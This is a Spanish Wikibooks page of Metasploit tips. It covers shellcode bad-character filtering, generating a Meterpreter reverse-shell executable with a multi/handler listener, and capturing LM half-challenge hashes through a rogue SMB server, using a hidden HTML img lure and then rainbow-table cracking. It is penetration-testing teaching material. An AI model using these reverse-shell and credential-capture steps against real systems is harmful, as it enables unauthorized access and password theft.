Metasploit/TipsyTrucos

De Wikilibros, la colección de libros de texto de contenido libre.


Tips y Trucos para Metasploit Framework


Extracto[editar]

Si escribe exploits o usa Metasploit Framework, hay numerosos trucos disponibles para el usuario final.

Escribiendo Exploits[editar]

  • ¿Inseguro sobre qué caracteres pueden ser filtrados? Use la función Rex::text.charset_exclude( badchars ):
shellcode = Rex::text.charset_exclude( payload_badchars )
buf[scloc] = shellcode
buf[jmploc] = [ target['Rets'][0] ].pack('V')


Fije en el depurador una pausa donde se localiza el salto(jump) y revise los caracteres en su salida. (Agregar captura de pantalla)

  • Las técnicas de evasión se aplican mejor, después de la verificación de la explotabilidad.
  • Algunos payloads pueden no trabajar correctamente en cada exploit, intenta varios payloads después de que tengas flujo de ejecución.

Usando Exploit-less Handlers (Payloads Ejecutables)[editar]

En algún punto durante el uso de Metasploit necesitará ejecutar un payload sin un exploit. Esto es posible con el uso del modulo multi/handler exploit.

Paso 1. Generar su payload ejecutable:

$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X > met-reverse.exe

paso 2. Iniciar el multi/handler a la escucha:

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

Paso 3. Ejecutar el ejecutable e interactuar:

msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:1060)
 
meterpreter >

LM Half-Challenge[editar]

Originalmente publicada aquí - Usando las Free Rainbow Tables HALFLMCHALL Tables y una versión modificada del modulo exploit smb_sniffer de Metasploit 2.7, obtener y crackear los desafios LM nunca fue tan fácil.

Paso 1. Usar Metasploit 2.7 (por ahora) y la actualización del exploit smb_sniffer.pm. Este no funciona sobre una plataforma Windows.

Paso 2. Desempaquetar Msf2.7 y colocar smb_sniffer.pm en el directorio exploits, reemplazando la versión antigua.

Paso 3. Configura tu Metasploit y ejecutalo como root

framework-2.7 $ sudo ./msfconsole
Password:


                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


+ -- --=[ msfconsole v2.7 [161 exploits - 76 payloads]

msf > use smb_sniffer
msf smb_sniffer > show options

Exploit Options
===============

  Exploit:    Name       Default         Description
  --------    -------    ------------    -----------------------------------------------
  optional    KEY        �"3DUfw�        The Challenge key
  optional    PWFILE                     The PWdump format log file (optional)
  optional    LOGFILE    smbsniff.log    The path for the optional log file
  required    LHOST      0.0.0.0         The IP address to bind the SMB service to
  optional    UID        0               The user ID to switch to after opening the port
  required    LPORT      139             The SMB server port

  Target: Targetless Exploit

msf smb_sniffer > set PWFILE=/tmp/pwtest.txt
PWFILE=/tmp/pwtest.txt:
msf smb_sniffer > exploit
[*] Listener created, switching to userid 0
[*] Starting SMB Password Service

Paso 4. Hacer que alguien se conecte a tu servidor. Puede ser tan simple como "dir \\ip_del_server\share" o "<img src=\\ip_del_server\share\file.gif height=0 width=0>" en una página HTML. Windows procurará hacer la conexión y enviar las credenciales del usuario que se conecta a tu servidor que espera.

Paso 5. Toma tu nuevo archivo pwtest.txt y copialo a una máquina que tenga Cain & Abel con las tablas HALFLMCHALL.

Paso 6. Selecciona el hash que quieres crackear, clic derecho y selecciona Cryptanalysis Attack->HALFLM Hashes + challenge->via RainbowTables, añade las tablas y listo!

Advertencias

  • Solamente hashes LANMAN se puede obtener de esta manera. Si el cliente deniega LM entonces no funciona.
  • Solamente los primeros 7 caracteres están en las tablas. Tienes que usar fuerza bruta para el resto.
  • Las tablas en total son de 54 GB. Tomará un cierto tiempo para cargarlas en memoria y para buscar.